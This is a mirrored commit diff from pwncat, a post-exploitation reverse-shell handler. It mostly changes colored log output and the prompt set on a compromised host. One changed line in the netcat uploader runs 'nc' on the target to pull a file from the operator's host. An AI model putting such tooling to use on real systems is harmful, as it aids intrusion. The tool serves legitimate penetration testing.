mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-30 20:34:15 +01:00
Fixed merge issues
This commit is contained in:
commit
9c2811b24e
@ -14,6 +14,7 @@ import os
|
|||||||
|
|
||||||
from pwncat import util
|
from pwncat import util
|
||||||
from pwncat import downloader, uploader
|
from pwncat import downloader, uploader
|
||||||
|
from colorama import Fore
|
||||||
|
|
||||||
|
|
||||||
class State(enum.Enum):
|
class State(enum.Enum):
|
||||||
@ -62,6 +63,7 @@ class PtyHandler:
|
|||||||
self.lhost = None
|
self.lhost = None
|
||||||
self.known_binaries = {}
|
self.known_binaries = {}
|
||||||
self.vars = {"lhost": util.get_ip_addr()}
|
self.vars = {"lhost": util.get_ip_addr()}
|
||||||
|
self.remote_prompt = b"\\[\\033[01;32m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;34m\\]\\w\\[\\033[00m\\]\\$"
|
||||||
self.prompt = PromptSession(
|
self.prompt = PromptSession(
|
||||||
[("", "(local) "), ("#ff0000", "pwncat"), ("", "$ ")]
|
[("", "(local) "), ("#ff0000", "pwncat"), ("", "$ ")]
|
||||||
)
|
)
|
||||||
@ -87,7 +89,7 @@ class PtyHandler:
|
|||||||
self.recvuntil(b"\n")
|
self.recvuntil(b"\n")
|
||||||
|
|
||||||
util.info("setting terminal prompt", overlay=True)
|
util.info("setting terminal prompt", overlay=True)
|
||||||
client.sendall(b'export PS1="(remote) \\u@\\h\\$ "\n\n')
|
client.sendall(b'export PS1="(remote) %b "\n\n' % self.remote_prompt)
|
||||||
self.recvuntil(b"\n")
|
self.recvuntil(b"\n")
|
||||||
self.recvuntil(b"\n")
|
self.recvuntil(b"\n")
|
||||||
|
|
||||||
@ -96,7 +98,10 @@ class PtyHandler:
|
|||||||
# so, we manually resolve a list of useful binaries prior to spawning
|
# so, we manually resolve a list of useful binaries prior to spawning
|
||||||
# a pty
|
# a pty
|
||||||
for name in PtyHandler.INTERESTING_BINARIES:
|
for name in PtyHandler.INTERESTING_BINARIES:
|
||||||
util.info(f"resolving remote binary: {name}", overlay=True)
|
util.info(
|
||||||
|
f"resolving remote binary: {Fore.YELLOW}{name}{Fore.RESET}",
|
||||||
|
overlay=True,
|
||||||
|
)
|
||||||
|
|
||||||
# Look for the given binary
|
# Look for the given binary
|
||||||
response = self.run(f"which {shlex.quote(name)}", has_pty=False)
|
response = self.run(f"which {shlex.quote(name)}", has_pty=False)
|
||||||
@ -117,12 +122,13 @@ class PtyHandler:
|
|||||||
raise RuntimeError("no available methods to spawn a pty!")
|
raise RuntimeError("no available methods to spawn a pty!")
|
||||||
|
|
||||||
# Open the PTY
|
# Open the PTY
|
||||||
|
util.info(
|
||||||
util.info(f"opening pseudoterminal via {method}", overlay=True)
|
f"opening pseudoterminal via {Fore.GREEN}{method}{Fore.RESET}", overlay=True
|
||||||
|
)
|
||||||
client.sendall(method_cmd.encode("utf-8") + b"\n")
|
client.sendall(method_cmd.encode("utf-8") + b"\n")
|
||||||
|
|
||||||
util.info("setting terminal prompt", overlay=True)
|
util.info("setting terminal prompt", overlay=True)
|
||||||
client.sendall(b'export PS1="(remote) \\u@\\h\\$ "\r')
|
client.sendall(b'export PS1="(remote) %b "\r' % self.remote_prompt)
|
||||||
self.recvuntil(b"\r\n")
|
self.recvuntil(b"\r\n")
|
||||||
self.recvuntil(b"\r\n")
|
self.recvuntil(b"\r\n")
|
||||||
|
|
||||||
@ -502,6 +508,7 @@ class PtyHandler:
|
|||||||
result = b""
|
result = b""
|
||||||
while not result.endswith(needle):
|
while not result.endswith(needle):
|
||||||
result += self.client.recv(1, flags)
|
result += self.client.recv(1, flags)
|
||||||
|
# print(result)
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
@ -18,4 +18,4 @@ class NetcatUploader(RawUploader):
|
|||||||
nc = self.pty.which("nc")
|
nc = self.pty.which("nc")
|
||||||
remote_file = shlex.quote(self.remote_path)
|
remote_file = shlex.quote(self.remote_path)
|
||||||
|
|
||||||
self.pty.run(f"{nc} -q0 {lhost} {lport} > {remote_file}")
|
self.pty.run(f"{nc} -w 0 {lhost} {lport} > {remote_file}")
|
||||||
|
Loading…
Reference in New Issue
Block a user